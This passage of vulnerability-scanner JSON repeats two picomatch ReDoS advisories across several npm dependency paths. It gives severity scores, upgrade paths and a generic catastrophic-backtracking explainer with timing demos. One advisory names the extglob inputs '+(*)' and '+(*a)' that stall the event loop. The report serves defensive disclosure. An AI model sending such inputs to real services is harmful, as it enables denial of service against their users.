"alternativeIds": [],
"disclosureTime": "2026-10-19T18:13:14.289000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-10-19T19:21:10.842984Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-20T01:32:18.991803Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"tinyglobby@0.2.15",
"picomatch@4.0.3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "picomatch",
"version": "4.0.3"
},
{
"id": "SNYK-JS-PICOMATCH-15765511",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Byambadalai Sumiya"
],
"semver": {
"vulnerable": [
"<2.3.2",
">=3.0.0 <3.0.2",
">=4.0.0 <4.0.4"
]
},
"exploit": "Not Defined",
"fixedIn": [
"2.3.2",
"3.0.2",
"4.0.4"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "picomatch",
"references": [
{
"url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-03-29T08:56:30.083116Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:14:02.835882Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:14:02.835882Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-03-29T08:56:30.083116Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. An attacker can cause excessive CPU consumption and block the event loop by supplying crafted extglob patterns that trigger catastrophic backtracking in regular expressions. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by avoiding passing untrusted glob patterns, disabling extglob support for untrusted patterns using `noextglob: true`, rejecting or sanitizing patterns containing nested extglobs or extglob quantifiers, enforcing strict allowlists for accepted pattern syntax, running matching in an isolated worker or separate process with time and resource limits, or applying application-level request throttling and input validation for any endpoint that accepts glob patterns.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `picomatch` to version 2.3.2, 3.0.2, 4.0.4 or higher.\n## References\n- [GitHub Advisory](https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj)\n- [GitHub Commit](https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d)\n",
"epssDetails": {
"percentile": "0.39319",
"probability": "0.00488",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33671"
],
"CWE": [
"CWE-1333"
],
"GHSA": [
"GHSA-c2c7-rcm5-vvqj"
]
},
"packageName": "picomatch",
"proprietary": false,
"creationTime": "2026-03-26T08:38:58.711997Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-25T21:12:07Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-26T08:38:58.926320Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:14:02.835882Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"tinyglobby@0.2.15",
"picomatch@4.0.3"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"tinyglobby@0.2.17",
"picomatch@4.0.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "picomatch",
"version": "4.0.3"
},
{
"id": "SNYK-JS-PICOMATCH-21248802",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"maximilliangrand",
"Zachariah Mithani"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "picomatch",
"references": [
{
"url": "https://github.com/micromatch/picomatch/pull/194",
"title": "GitHub PR"
},
{
"url": "https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js%23L287-L307",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-10-20T01:32:18.626388Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-20T01:32:18.991803Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-20T01:32:18.991803Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-20T01:32:18.626388Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via `analyzeRepeatedExtglob` in `lib/parse.js`, which skips single-branch repeated extglob patterns such as `+(*) ` or `+(*a)`. An attacker can supply these glob patterns to trigger exponential backtracking in the underlying regular expression engine against short inputs, blocking the Node.js event loop and crashing the application.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nThere is no fixed version for `picomatch`.\n## References\n- [GitHub PR](https://github.com/micromatch/picomatch/pull/194)\n- [Vulnerable Code](https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js#L287-L307)\n",
"epssDetails": null,
"identifiers": {
"CVE": [
"CVE-2026-112366"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "picomatch",
"proprietary": false,
"creationTime": "2026-10-19T19:21:10.678786Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-10-19T18:13:14.289000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-10-19T19:21:10.842984Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-20T01:32:18.991803Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"tinyglobby@0.2.15",
"picomatch@4.0.3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "picomatch",
"version": "4.0.3"
},
{
"id": "SNYK-JS-PICOMATCH-15765511",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Byambadalai Sumiya"
],
"semver": {
"vulnerable": [
"<2.3.2",
">=3.0.0 <3.0.2",
">=4.0.0 <4.0.4"
]
},
"exploit": "Not Defined",
"fixedIn": [
"2.3.2",
"3.0.2",
"4.0.4"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "picomatch",
"references": [
{
"url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-03-29T08:56:30.083116Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:14:02.835882Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:14:02.835882Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-03-29T08:56:30.083116Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. An attacker can cause excessive CPU consumption and block the event loop by supplying crafted extglob patterns that trigger catastrophic backtracking in regular expressions. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by avoiding passing untrusted glob patterns, disabling extglob support for untrusted patterns using `noextglob: true`, rejecting or sanitizing patterns containing nested extglobs or extglob quantifiers, enforcing strict allowlists for accepted pattern syntax, running matching in an isolated worker or separate process with time and resource limits, or applying application-level request throttling and input validation for any endpoint that accepts glob patterns.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `picomatch` to version 2.3.2, 3.0.2, 4.0.4 or higher.\n## References\n- [GitHub Advisory](https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj)\n- [GitHub Commit](https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d)\n",
"epssDetails": {
"percentile": "0.39319",
"probability": "0.00488",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33671"
],
"CWE": [
"CWE-1333"
],
"GHSA": [
"GHSA-c2c7-rcm5-vvqj"
]
},
"packageName": "picomatch",
"proprietary": false,
"creationTime": "2026-03-26T08:38:58.711997Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-25T21:12:07Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-26T08:38:58.926320Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:14:02.835882Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"tinyglobby@0.2.15",
"picomatch@4.0.3"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"tinyglobby@0.2.17",
"picomatch@4.0.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "picomatch",
"version": "4.0.3"
},
{
"id": "SNYK-JS-PICOMATCH-21248802",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"maximilliangrand",
"Zachariah Mithani"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "picomatch",
"references": [
{
"url": "https://github.com/micromatch/picomatch/pull/194",
"title": "GitHub PR"
},
{
"url": "https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js%23L287-L307",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-10-20T01:32:18.626388Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-20T01:32:18.991803Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-20T01:32:18.991803Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-20T01:32:18.626388Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via `analyzeRepeatedExtglob` in `lib/parse.js`, which skips single-branch repeated extglob patterns such as `+(*) ` or `+(*a)`. An attacker can supply these glob patterns to trigger exponential backtracking in the underlying regular expression engine against short inputs, blocking the Node.js event loop and crashing the application.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nThere is no fixed version for `picomatch`.\n## References\n- [GitHub PR](https://github.com/micromatch/picomatch/pull/194)\n- [Vulnerable Code](https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js#L287-L307)\n",
"epssDetails": null,
"identifiers": {
"CVE": [
"CVE-2026-112366"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "picomatch",
"proprietary": false,
"creationTime": "2026-10-19T19:21:10.678786Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-10-19T18:13:14.289000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-10-19T19:21:10.842984Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-20T01:32:18.991803Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"tinyglobby@0.2.15",
"picomatch@4.0.3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "picomatch",
"version": "4.0.3"
},
{
"id": "SNYK-JS-PICOMATCH-15765511",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Byambadalai Sumiya"
],
"semver": {
"vulnerable": [
"<2.3.2",
">=3.0.0 <3.0.2",
">=4.0.0 <